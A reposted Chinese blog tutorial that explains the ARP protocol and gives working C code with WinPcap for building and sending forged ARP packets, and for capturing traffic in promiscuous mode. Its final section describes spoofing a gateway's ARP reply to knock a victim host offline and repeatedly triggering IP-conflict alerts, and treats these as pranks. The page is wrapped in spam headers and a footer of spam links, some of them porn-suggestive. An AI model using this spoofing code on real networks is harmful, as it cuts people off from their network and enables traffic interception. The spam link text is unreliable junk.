青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

山寨:不是最好的,是最適合我們的!歡迎體驗山寨 中文版MSDN

Blog @ Blog

當華美的葉片落盡,生命的脈絡才歷歷可見。 -- 聶魯達

常用鏈接

統計

積分與排名

BBS

Blog

Web

最新評論

ARP協議詳解及如何編程實現ARP攻擊[轉]

一.             關于ARP協議的基礎知識
1.ARP的工作原理
我們都知道以太網設備比如網卡都有自己全球唯一的MAC地址,它們是以MAC地址來傳輸以太網數據包的,但是它們卻識別不了我們IP包中的IP地址,所以我們在以太網中進行IP通信的時候就需要一個協議來建立IP地址與MAC地址的對應關系,以使IP數據包能發到一個確定的地方去。這就是ARP(Address Resolution Protocol,地址解析協議)。
 
講到此處,我們可以在命令行窗口中,輸入
     arp –a
來看一下效果,類似于這樣的條目
210.118.45.100    00-0b-5f-e6-c5-d7    dynamic
就是我們電腦里存儲的關于IP地址與MAC地址的對應關系,dynamic表示是臨時存儲在ARP緩存中的條目,過一段時間就會超時被刪除(xp/2003系統是2分鐘)。
 
這樣一來,比如我們的電腦要和一臺機器比如210.118.45.1通信的時候,它會首先去檢查arp緩存,查找是否有對應的arp條目,如果沒有,它就會給這個以太網絡發ARP請求包廣播詢問210.118.45.1的對應MAC地址,當然,網絡中每臺電腦都會收到這個請求包,但是它們發現210.118.45.1并非自己,就不會做出相應,而210.118.45.1就會給我們的電腦回復一個ARP應答包,告訴我們它的MAC地址是xx-xx-xx-xx-xx-xx,于是我們電腦的ARP緩存就會相應刷新,多了這么一條:
210.118.45.1   xx-xx-xx-xx-xx-xx   dynamic
 
為什么要有這么一個ARP緩存呢,試想一下如果沒有緩存,我們每發一個IP包都要發個廣播查詢地址,豈不是又浪費帶寬又浪費資源?
     而且我們的網絡設備是無法識別ARP包的真偽的,如果我們按照ARP的格式來發送數據包,只要信息有效計算機就會根據包中的內容做相應的反應.
 
試想一下,如果我們按照ARP響應包的相應的內容來刷新自己的ARP緩存中的列表,嘿嘿,那我們豈不是可以根據這點在沒有安全防范的網絡中玩些ARP包的小把戲了?在后面的文章里我就手把手來教你們如何填充發送ARP包,不過先別急,我們再繼續學點基礎知識^_^
 
2.ARP包的格式
 
     既然我們要來做一個我們自己的ARP包,當然首先要學習一下ARP包的格式。
 
     從網絡底層看來,一個ARP包是分為兩個部分的,前面一個是物理幀頭,后面一個才是ARP
         首先,物理幀頭,它將存在于任何一個協議數據包的前面,我們稱之為DLC Header,因為這個幀頭是在數據鏈路層構造的,并且其主要內容為收發雙方的物理地址,以便硬件設備識別。 
DLC Header
字段
長度(Byte)
默認值
備注
接收方MAC
6
 
廣播時,為 ff-ff-ff-ff-ff-ff
發送方MAC
6
 
 
Ethertype
2
0x0806
0x0806是ARP幀的類型值
                           圖1 物理幀頭格式
 
     圖1是需要我們填充的物理幀頭的格式,我們可以看到需要我們填充的僅僅是發送端和接收端的物理地址罷了,是不是很簡單呢?
      接下來我們看一下ARP幀的格式. 
ARP Frame
字段
長度(Byte)
默認值
備注
硬件類型
2
0x1
以太網類型值
上層協議類型
2
0x0800
上層協議為IP協議
MAC地址長度
1
0x6
以太網MAC地址長度為 6
IP地址長度
1
0x4
IP地址長度為 4
操作碼
2
 
0x1表示ARP請求包,0x2表示應答包
發送方MAC
6
 
 
發送方IP
4
 
 
接收方MAC
6
 
 
接收方IP
4
 
 
填充數據
18
 
因為物理幀最小長度為64字節,前面的42字節再加上4個CRC校驗字節,還差18個字節
                             圖2 ARP幀格式
 
我們可以看到需要我們填充的同樣也只是MAC,IP,再加上一個1或2的操作碼而已。
 
3.ARP包的填充
1) 請求包的填充:
     比如我們的電腦MAC地址為 aa-aa-aa-aa-aa-aa,IP為 192.168.0.1
 我們想要查詢 192.168.0.99的MAC地址,應該怎么來做呢?
 
     首先填充DLC Header,通過前面的學習我們知道,想要知道某個計算機對應的MAC地址是要給全網發送廣播的,所以接收方MAC肯定是 ffffffffffff,發送方MAC當然是自己啦,于是我們的DLC Header就填充完成了,如圖,加粗的是我們要手動輸入的值(當然我編的程序比較智能,會根據你選擇的ARP包類型幫你自動填入一些字段,你一用便知^_^)。
 
DLC Header
字段
長度(Byte)
填充值
接收方MAC
6
ffffffffffff
發送方MAC
6
aaaaaaaaaaaa
Ethertype
2
0x0806
圖3 ARP請求包中 DLC Header內容
 
    接下來是ARP幀,請求包的操作碼當然是 1,送方的MAC以及IP當然填入我們自己的,然后要注意一下,這里的接收方IP填入我們要查詢的那個IP地址,就是192.168.0.99了,而接收方MAC填入任意值就行,不起作用,于是,如圖,
 
                            ARP Frame
字段
長度(Byte)
填充值
硬件類型
2
1
上層協議類型
2
0800
MAC地址長度
1
6
IP地址長度
1
4
操作碼
2
1
發送方MAC
6
aaaaaaaaaaaa
發送方IP
4
192.168.0.1
接收方MAC
6
任意值 xxxxxxxxxxxx
接收方IP
4
192.168.0.99
填充數據
18
0

 

                 圖4 ARP請求包中 ARP幀的內容
 
    如果我們構造一個這樣的包發送出去,如果 192.168.0.99存在且是活動的,我們馬上就會收到一個192.168.0.99發來的一個響應包,我們可以查看一下我們的ARP緩存列表,是不是多了一項類似這樣的條目:           
       192.168.0.99                  bb-bb-bb-bb-bb-bb
     是不是很神奇呢?
     我們再來看一下ARP響應包的構造
 
2) 響應包的填充
     有了前面詳細的解說,你肯定就能自己說出響應包的填充方法來了吧,所以我就不細說了,列兩個表就好了
 
     比如說給 192.168.0.99(MAC為 bb-bb-bb-bb-bb-bb)發一個ARP響應包,告訴它我們的MAC地址為 aa-aa-aa-aa-aa-aa,就是如此來填充各個字段
 
DLC Header
字段
長度(Byte)
填充值
接收方MAC
6
bbbbbbbbbbbb
發送方MAC
6
aaaaaaaaaaaa
Ethertype
2
0x0806
              圖5 ARP響應包中 DLC Header內容
 
ARP Frame
字段
長度(Byte)
填充值
硬件類型
2
1
上層協議類型
2
0800
MAC地址長度
1
6
IP地址長度
1
4
操作碼
2
2
發送方MAC
6
aaaaaaaaaaaa
發送方IP
4
192.168.0.1
接收方MAC
6
bbbbbbbbbbbb
接收方IP
4
192.168.0.99
填充數據
18
0
          圖6 ARP響應包中 ARP幀的內容
 
    這樣192.168.0.99的ARP緩存中就會多了一條關于我們192.168.0.1的地址映射。
    好了,終于到了編程實現它的時候了^_^
我們主要是要用到 pcap_open_live 函數,不過這個函數winpcap的開發小組已經建議用 pcap_open 函數來代替,不過因為我的代碼里面用的就是pcap_open_live,所以也不便于修改了,不過pcap_open_live使用起來也是沒有任何問題的,下面是pcap_open_live的函數聲明:
 /*************************************************
pcap_t* pcap_open_live  (  char *    device,  
                             int    snaplen,  
  int    promisc,  
  int    to_ms,  
  char *    ebuf 
 )  
     功能:
           根據網卡名字打開網卡,并設置為混雜模式,然后返回其句柄
     參數:
           Device  : 就是前前面我們獲得的網卡的名字;
           Snaplen :  我們從每個數據包里取得數據的長度,比如設置為100,則每次我們只是獲得每個數據包 100 個長度的數據,沒有什么特殊需求的話就把它設置為65535最大值就可以了;
           Promisc:這個參數就是設置是否把網卡設置為“混雜模式”,設置為 1 即可;
           to_ms :   超時時間,毫秒,一般設置為 1000即可。
     返回值:
           pcap_t :  類似于一個網卡“句柄”之類的,不過當然不是,這個參數是后面截獲數據要用到的。
******************************************************************************/
雖然看起來比較復雜,不過用起來還是非常簡單的,其實 1 行就OK了:
    pcap_t* adhandle;
       char errbuf[PCAP_ERRBUF_SIZE];
// 打開網卡,并且設置為混雜模式
// pCardName是前面傳來的網卡名字參數
adhandle = pcap_open_live(pCardName,65535,1,1000,errbuf);
 
C. 截獲數據包并保存為文件:------------------------------------------------------
     當然,不把數據包保存為文件也可以,不過如果不保存的話,只能在截獲到數據包的那一瞬間進行分析,轉眼就沒了^_^
所以,為了便于日后分析,所以高手以及我個人經常是把數據包保存下來的慢慢分析的。
但是注意網絡流量,在流量非常大的時候注意硬盤空間呵呵,常常幾秒中就有好幾兆是很正常的事情。
下面首先來詳細講解一下,這個步驟中需要用到的winpcap函數:
/**************************************************************
pcap_dumper_t* pcap_dump_open  (  pcap_t *    p,  
                                      const char *    fname 
 ) 
功能:
      建立或者打開存儲數據包內容的文件,并返回其句柄
參數:
       pcap_t *    p     :前面打開的網卡句柄;
      const char * fname :要保存的文件名字    
返回值:
       pcap_dumper_t* : 保存文件的描述句柄,具體細節我們不用關心
***************************************************************/
/***************************************************************
int pcap_next_ex          (  pcap_t *    p,  
                              struct pcap_pkthdr **    pkt_header,  
  u_char **    pkt_data 
 )  
功能:
      從網卡或者數據包文件中讀取數據內容
參數:
      pcap_t *    p:    網卡句柄
      struct pcap_pkthdr ** pkt_header: 并非是數據包的指針,只是與數據包捕獲驅動有關的一個Header
      u_char ** pkt_data:指向數據包內容的指針 ,包括了協議頭   
返回值:
          1 : 如果成功讀取數據包
          0 :pcap_open_live()設定的超時時間之內沒有讀取到內容
          -1: 出現錯誤
          -2: 讀文件時讀到了末尾
***************************************************************/
/***************************************************************
void pcap_dump  (  u_char *    user,  
                       const struct pcap_pkthdr *    h,  
  const u_char *    sp 
 )   
功能:
      將數據包內容依次寫入pcap_dump_open()指定的文件中
參數:
      u_char * user   :  網卡句柄
      const struct pcap_pkthdr * h: 并非是數據包的指針,只是與數據包捕獲驅動有關的一個Header
      const u_char * sp: 數據包內容指針    
返回值:
          Void
****************************************************************/
 下面給出一段完整的捕獲數據包的代碼,是在線程中寫的,為了程序清晰,我去掉了錯誤處理代碼以及線程退出的代碼,完整代碼可下載文后的示例源碼,老規矩,重要的步驟用粗體字標出。
我們實際在捕獲數據包的時候也最好是把代碼放到另外的線程中。
/*********************************************************
*   進程:
*                   這個是程序的核心部分,完成數據包的截獲
*     參數:
*                   pParam: 用戶選擇的用來捕獲數據的網卡的名字
*********************************************************/
UINT CaptureThread(LPVOID pParam)
{
       const char* pCardName=(char*)pParam;          // 轉換參數,獲得網卡名字                        
 
       pcap_t* adhandle;
       char errbuf[PCAP_ERRBUF_SIZE];              
       // 打開網卡,并且設置為混雜模式
 adhandle=pcap_open_live(pCardName,65535,1,1000,errbuf);      {
 
       pcap_dumper_t* dumpfile;
// 建立存儲截獲數據包的文件
       dumpfile=pcap_dump_open(adhandle, "Packet.dat");    
 
       int re;
       pcap_pkthdr* header;      // Header
       u_char* pkt_data;         // 數據包內容指針
// 從網卡或者文件中不停讀取數據包信息
       while((re=pcap_next_ex(adhandle,&header,(const u_char**)&pkt_data))>=0)
      {
          // 將捕獲的數據包存入文件
              pcap_dump((unsigned char*)dumpfile,header,pkt_data);      
       }
       return 0;
}   
將個線程加入到程序里面啟動以后。。。等等,如何來啟動這個線程就不用我說了吧,類似這樣的代碼就可以
::AfxBeginThread(CaptureThread,chNIC);     // chNIC是網卡的名字,char* 類型
啟動線程一段時間以后(幾秒中就有效果了),可以看到數據包已經被成功的截獲下來,并存儲到程序目錄下的Packet.dat文件中。
=====================================================
至此,數據包的截獲方法就講完了,大家看了這篇文章,其實你就一定也明白了,無論是raw socket的方法還是winpcap的方法,其實都很簡單的,真的沒有什么東西,只是會讓不明白原理的人看起來很神秘而已,isn’t it?
呵呵,不過也不要高興的太早,這個保存下來的數據包文件,你可以試著用UltraEdit打開這個文件看看,是不是大部分都是亂碼?基本上沒有什么可讀性,這是因為:
此時捕獲到的數據包并不僅僅是單純的數據信息,而是包含有 IP頭、 TCP頭等信息頭的最原始的數據信息,這些信息保留了它在網絡傳輸時的原貌。通過對這些在低層傳輸的原始信息的分析可以得到有關網絡的一些信息。由于這些數據經過了網絡層和傳輸層的打包,因此需要根據其附加的幀頭對數據包進行分析。
呵呵,所以我們要走的路還很長,這只是剛剛入門而已^_^
二.  發送ARP包的編程實現
1.        填充數據包
上面的那些關于ARP包各個字段的表格,對應在程序里就是結構體,對應于上面的表格,于是我們需要三個下面這樣的結構體
// DLC Header
typedef struct tagDLCHeader                    
{
   unsigned char      DesMAC[6];             /* destination HW addrress */
   unsigned char      SrcMAC[6];             /* source HW addresss */
   unsigned short     Ethertype;                /* ethernet type */
} DLCHEADER, *PDLCHEADER;
// ARP Frame
typedef struct tagARPFrame                     
{
          unsigned short         HW_Type;           /* hardware address */
          unsigned short         Prot_Type;             /* protocol address */
          unsigned char      HW_Addr_Len;       /* length of hardware address */
          unsigned char      Prot_Addr_Len;         /* length of protocol address */
          unsigned short         Opcode;                /* ARP/RARP */
 
          unsigned char      Send_HW_Addr[6];     /* sender hardware address */
          unsigned long      Send_Prot_Addr;      /* sender protocol address */
          unsigned char      Targ_HW_Addr[6];     /* target hardware address */
          unsigned long      Targ_Prot_Addr;      /* target protocol address */
          unsigned char      padding[18];
} ARPFRAME, *PARPFRAME;
// ARP Packet = DLC header + ARP Frame
typedef struct tagARPPacket                
{
     DLCHEADER     dlcHeader;
     ARPFRAME      arpFrame;
} ARPPACKET, *PARPPACKET;
 
這些結構體一定能看懂吧,在程序中就是對號入座就好了
1.        填充數據包
 
下面我舉個填充包頭的例子,我首先定義個了一個轉換字符的函數,如下
 
/****************************************************************************
 *   Name & Params::
 *             formatStrToMAC
 *             (
 *                 const LPSTR lpHWAddrStr : 用戶輸入的MAC地址字符串
 *                 unsigned char *HWAddr :   返回的MAC地址字符串(賦給數據包結構體)
 *             )
 *   Purpose:
 *             將用戶輸入的MAC地址字符轉成數據包結構體需要的格式
 ****************************************************************************/
void formatStrToMAC(const LPSTR lpHWAddrStr, unsigned char *HWAddr)
{
       unsigned int i, index = 0, value, temp;
      unsigned char c;
 
      _strlwr(lpHWAddrStr);                                                   // 轉換成小寫
 
      for (i = 0; i < strlen(lpHWAddrStr); i++)
     {
           c = *(lpHWAddrStr + i);
            if (( c>=’0’ && c<=’9’ ) || ( c>=’a’ && c<=’f’ ))
           {
               if (c>=’0’ && c<=’9’)  temp = c - ’0’;                         // 數字
               if (c>=’a’ && c<=’f’)  temp = c - ’a’ + 0xa;               // 字母
               if ( (index % 2) == 1 )
              {
                   value = value*0x10 + temp;
                   HWAddr[index/2] = value;
              }
              else value = temp;
              index++;
         }
               if (index == 12) break;
        }
}
 
// 開始填充各個字段
ARPPACKET ARPPacket;                                                  // 定義ARPPACKET結構體變量
 
    memset(&ARPPacket, 0, sizeof(ARPPACKET));                      // 數據包初始化
 
     formatStrToMAC(“DLC源MAC字符串”,ARPPacket.dlcHeader.SrcMAC);       // DLC幀頭
     formatStrToMAC(“DLC目的MAC字符串”,ARPPacket.dlcHeader.DesMAC);
 
     formatStrToMAC(“ARP源MAC字符串”,ARPPacket.arpFrame.Send_HW_Addr);  // 源MAC
     ARPPacket.arpFrame.Send_Prot_Addr = inet_addr(srcIP);              // 源IP
     formatStrToMAC(“ARP目的MAC字符串”,ARPPacket.arpFrame.Targ_HW_Addr); // 目的MAC
     ARPPacket.arpFrame.Targ_Prot_Addr = inet_addr(desIP);               // 目的IP
    
     ARPPacket.arpFrame.Opcode = htons((unsigned short)arpType);        // arp包類型
    
     // 自動填充的常量
     ARPPacket.dlcHeader.Ethertype = htons((unsigned short)0x0806); // DLC Header的以太網類型
     ARPPacket.arpFrame.HW_Type = htons((unsigned short)1);           // 硬件類型
     ARPPacket.arpFrame.Prot_Type = htons((unsigned short)0x0800);    // 上層協議類型
     ARPPacket.arpFrame.HW_Addr_Len = (unsigned char)6;                 // MAC地址長度
     ARPPacket.arpFrame.Prot_Addr_Len = (unsigned char)4;               // IP地址長度
 
That’s all ! ^_^
填充完畢之后,我們需要做的就是把我們的ARPPACKET結構體發送出去
 
2.發送ARP數據包:
 
我們發送ARP包就要用到winpcap的api了,具體步驟及函數是這樣的,為了簡單易懂,我把錯誤處理的地方都去掉了,詳見代碼
/**********************************************************************
*    Name & Params::
*             SendARPPacket()
*    Purpose:
*             發送ARP數據包
*    Remarks:
*             用的是winpcap的api函數
***********************************************************************/
void SendARPPacket()
{
     char *AdapterDeviceName =GetCurAdapterName();     // 首先獲得獲得網卡名字
 
     lpAdapter = PacketOpenAdapter(AdapterDeviceName);     // 根據網卡名字打開網卡
 
     lpPacket = PacketAllocatePacket();               // 給PACKET結構指針分配內存
 
     PacketInitPacket(lpPacket, &ARPPacket, sizeof(ARPPacket)); //初始化PACKET結構指針
                                             // 其中的ARPPacket就是我們先前填充的ARP包
 
     PacketSetNumWrites(lpAdapter, 1);               // 每次只發送一個包
 
     PacketSendPacket(lpAdapter, lpPacket, true)       // Send !!!!! ^_^
 
     PacketFreePacket(lpPacket);                     // 釋放資源
     PacketCloseAdapter(lpAdapter);
}
 
呵呵,至此,關于ARP包最關鍵的部分就講完了,你現在就可以來隨心所欲的發送自己的ARP包了
 
既然作為一篇“科普文章”,接下來我再講一講與整個項目有關的附加步驟以及說明
 
三.附加步驟以及說明
1. 如何在VC中使用winpcap驅動
       雖然winpcap開發包使用起來非常簡便,但是前期準備工作還是要費一番功夫的,缺一不可。^_^
       首先就是要安裝它的驅動程序了,可以到它的主頁下載,更新很快的
     http://winpcap.polito.it/install/default.htm
     下載WinPcap auto-installer (driver +DLLs),直接安裝就好了,或者我提供的代碼包里面也有。
     希望以后用winpcap作開發的朋友,還需要下載 Developer’s pack,解壓即可。
    
        然后,需要設置我們工程的附加包含目錄為我們下載Developer’s pack開發包的Inclulde目錄,連接器的附加依賴庫設置為Developer’s pack的lib目錄。
       當然,因為我們的工作比較簡單,就是借用winpcap發送數據包而已,所以只用從
winpcap開發包的include文件夾中,拷貝Packet32.h,到我們的工程來,并且包含它就可
以,但是要注意,Packet32.h本身還要包含一個Devioctl.h,也要一并拷貝進來,當然還有運
行庫Packet.lib,一共就是需要拷貝3個文件了,如果加入庫不用我多說了吧,在工程里面設
置,或者是在需要它的地方加入 #pragma comment(lib, "Packet.lib")了。
 
        整個項目其實可以分為四個部分,填充數據包、發送數據包、枚舉系統網卡列表
相關信息以及枚舉系統ARP緩存列表,下面我再講一下如何獲得系統的網卡以及ARP列
表,這兩個部分都要用到IP Helper的api,所以要包含以及庫文件Iphlpapi.lib,
其實都是很簡單的,只用寥寥幾行就OK了
2.     枚舉系統網卡以及信息
最好是先定義關于網卡信息的一個結構體,這樣顯得結構比較清晰
// 網卡信息
typedef struct tagAdapterInfo         
{
              char szDeviceName[128];           // 名字
              char szIPAddrStr[16];             // IP
              char szHWAddrStr[18];             // MAC
              DWORD dwIndex;                    // 編號         
}INFO_ADAPTER, *PINFO_ADAPTER;
 
/*********************************************************************
*    Name & Params::
*             AddAdapInfoToList
*             (
*                  CListCtrl& list :  CARPPlayerDlg傳入的list句柄
*             )
*    Purpose:
*             獲得系統的網卡信息,并將其添加到list控件中
*    Remarks:
*             獲得網卡IP及MAC用到了IpHelper api GetAdaptersInfo
******************************************************************/
**************************
         delete pIpNetTable;
     }
}
        這樣一來,我們基本上大功告成了,其他還有一些東西在這里就不講了,大家可以下載我的代碼看看就好了。
        下面我們來用ARP包玩一些小把戲 ^_^。
四.ARP包的游戲
既然我們可以自己來填充數據包,那么來玩些ARP的“小游戲”欺騙就是易如反掌了,當然,是在沒有安全防護的網絡里 ,比如只有hub或者交換機把你們相連,而沒有路由分段……^_^
下面我就由淺入深的講一些介紹一些關于ARP的小伎倆。
1. 小伎倆
1)       你可以試著發一個請求包廣播,其中的ARP幀里關于你的信息填成這樣:
(為了節省篇幅,我只寫需要特別指出的填充字段)
發送方MAC
6
隨便亂填一個錯誤的
發送方IP
4
 填上你的IP
   出現什么結果?是不是彈出一個IP地址沖突的提示?呵呵,同樣的道理,如果發送方IP填成別人的,然后每隔1秒發一次………..-_-b
 
2)       比如你們都靠一個網關192.168.0.1 上網 ,如果你想讓192.168.0.77 上不了網,就可以偽裝成網關給192.168.0.77發一個錯誤的ARP響應包, like this
發送方MAC
6
隨便亂填一個錯誤的
發送方IP
4
 網關IP 192.168.0.1
接收方就填192.168.0.77的相關信息,發送之后,它還能上網不?
這樣能折騰他好一陣子了,只要它的系統得不到正確的到網關的ARP映射表它就一直上不了網了

posted on 2008-05-23 10:35 isabc 閱讀(3829) 評論(0)  編輯 收藏 引用 所屬分類: 網絡編程

廣告信息(免費廣告聯系)

中文版MSDN:
歡迎體驗

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            欧美高清免费| 亚洲黑丝一区二区| 久久久亚洲欧洲日产国码αv| 99v久久综合狠狠综合久久| 日韩网站在线观看| 亚洲香蕉在线观看| 性欧美18~19sex高清播放| 欧美一级片在线播放| 性做久久久久久久久| 亚洲一区二区三区视频| 亚洲欧美乱综合| 久久永久免费| 亚洲国产欧美一区二区三区久久 | 久久精品在线| 老司机aⅴ在线精品导航| 欧美大胆人体视频| 国产精品大片| 在线免费日韩片| 亚洲一区二区三区免费观看| 久久综合久久综合久久| 亚洲品质自拍| 久久精品国产亚洲一区二区| 欧美精品亚洲精品| 国产一区二区高清不卡| 日韩手机在线导航| 久久精品视频播放| 亚洲精品国产精品国自产观看浪潮| 亚洲自拍三区| 欧美日韩大片一区二区三区| 激情欧美一区| 欧美一级片一区| 亚洲理伦电影| 美女视频网站黄色亚洲| 国产精品视频专区| 亚洲精品一区二区网址| 久久久久成人精品| 一区二区三区福利| 欧美精品国产| 亚洲国产午夜| 久久夜色精品国产欧美乱极品| 夜夜嗨av一区二区三区网页| 噜噜噜91成人网| 国户精品久久久久久久久久久不卡| 一区二区三区四区五区精品视频| 久久一区免费| 午夜精品视频在线观看| 国产精品99一区| 一区二区高清视频在线观看| 欧美激情一区| 欧美.www| 亚洲欧洲精品一区二区精品久久久| 久久精品国产999大香线蕉| 中文在线不卡| 国产精品久久午夜夜伦鲁鲁| 亚洲自拍偷拍麻豆| 一区二区日本视频| 欧美午夜一区二区| 亚洲专区免费| 亚洲综合精品自拍| 国产伦精品一区二区三区免费迷| 亚洲在线一区| 午夜一区不卡| 狠狠色伊人亚洲综合成人| 午夜精品影院在线观看| 亚洲一区视频| 久久久精品性| 国语自产偷拍精品视频偷| 欧美一级久久久久久久大片| 亚洲欧美激情视频| 国产性做久久久久久| 久久久久www| 美女性感视频久久久| 亚洲国产成人精品久久久国产成人一区 | 亚洲欧美国产高清va在线播| 国产精品毛片a∨一区二区三区|国| 亚洲永久免费观看| 午夜久久福利| 亚洲第一区中文99精品| 91久久在线视频| 国产精品久久久久99| 久久成人精品视频| 久久先锋影音av| 夜夜嗨av一区二区三区| 亚洲一区二区三区久久| 国产最新精品精品你懂的| 亚洲春色另类小说| 欧美午夜激情视频| 久久综合久久综合九色| 欧美黄在线观看| 性视频1819p久久| 久久综合九色99| 亚洲综合日韩在线| 久热综合在线亚洲精品| 亚洲午夜在线| 久久嫩草精品久久久精品一| 亚洲天堂av电影| 久久久久国产精品一区| 在线视频一区二区| 久久精品综合一区| 亚洲欧美另类综合偷拍| 美女在线一区二区| 欧美在线一级va免费观看| 另类综合日韩欧美亚洲| 午夜电影亚洲| 欧美精品三级| 欧美大尺度在线观看| 国产精品视频精品视频| 亚洲第一精品夜夜躁人人爽| 国产伦精品一区二区三区在线观看| 欧美国产日韩a欧美在线观看| 国产精品自拍视频| 亚洲精选在线| 亚洲国产精品久久久久婷婷老年| 亚洲一区影音先锋| 亚洲深夜福利| 欧美好吊妞视频| 美脚丝袜一区二区三区在线观看| 国产精品视频999| 亚洲最新视频在线播放| 亚洲精品看片| 毛片一区二区三区| 久久手机免费观看| 国产亚洲精品aa| 亚洲欧美精品中文字幕在线| 亚洲一二三区精品| 欧美日韩免费网站| 一区二区三区日韩欧美精品| 久久久久久69| 久久亚洲综合色| 国产在线观看一区| 午夜国产精品视频| 亚洲欧美中文日韩在线| 欧美日韩理论| 亚洲精品一区二区三区99| 最新日韩中文字幕| 欧美激情精品久久久久久变态| 欧美大尺度在线观看| 亚洲欧洲午夜| 欧美国产日韩一区二区三区| 欧美激情一区二区三区在线视频 | 亚洲电影成人| 老鸭窝91久久精品色噜噜导演| 久久婷婷蜜乳一本欲蜜臀| 国产亚洲一级高清| 久久aⅴ国产欧美74aaa| 男女视频一区二区| 亚洲激情午夜| 欧美精品一区二区三区蜜臀| 亚洲精品视频一区| 亚洲欧美日韩区| 国产综合色精品一区二区三区| 久久黄色级2电影| 久久午夜影视| 亚洲欧洲美洲综合色网| 欧美日韩精品欧美日韩精品| 亚洲午夜女主播在线直播| 久久国内精品自在自线400部| 黄色亚洲精品| 欧美精品在线观看| 亚洲你懂的在线视频| 麻豆久久精品| 夜夜嗨网站十八久久| 国产精品永久免费观看| 久久久久久电影| 99在线精品观看| 久久五月婷婷丁香社区| 亚洲精品一区在线观看| 国产精品国产三级欧美二区| 久久久九九九九| 日韩午夜免费视频| 久久久不卡网国产精品一区| 亚洲剧情一区二区| 国产一区91精品张津瑜| 欧美区一区二区三区| 欧美一区二区免费视频| 欧美激情小视频| 久久成人免费日本黄色| 艳女tv在线观看国产一区| 国产日韩精品在线观看| 欧美理论在线播放| 亚洲欧美日韩国产一区二区| 亚洲日本欧美| 久久亚洲精品视频| 香蕉成人伊视频在线观看| 亚洲精品小视频| 韩国av一区二区三区四区| 国产精品日本精品| 欧美日韩国产999| 免费成人av在线| 欧美在线视频二区| 亚洲四色影视在线观看| 亚洲国产精品久久91精品| 久久久久9999亚洲精品| 欧美亚洲网站| 亚洲一区尤物| 一区二区三区免费网站| 亚洲精品免费在线观看| 亚洲高清不卡| 欧美激情自拍| 久久综合久久综合久久综合|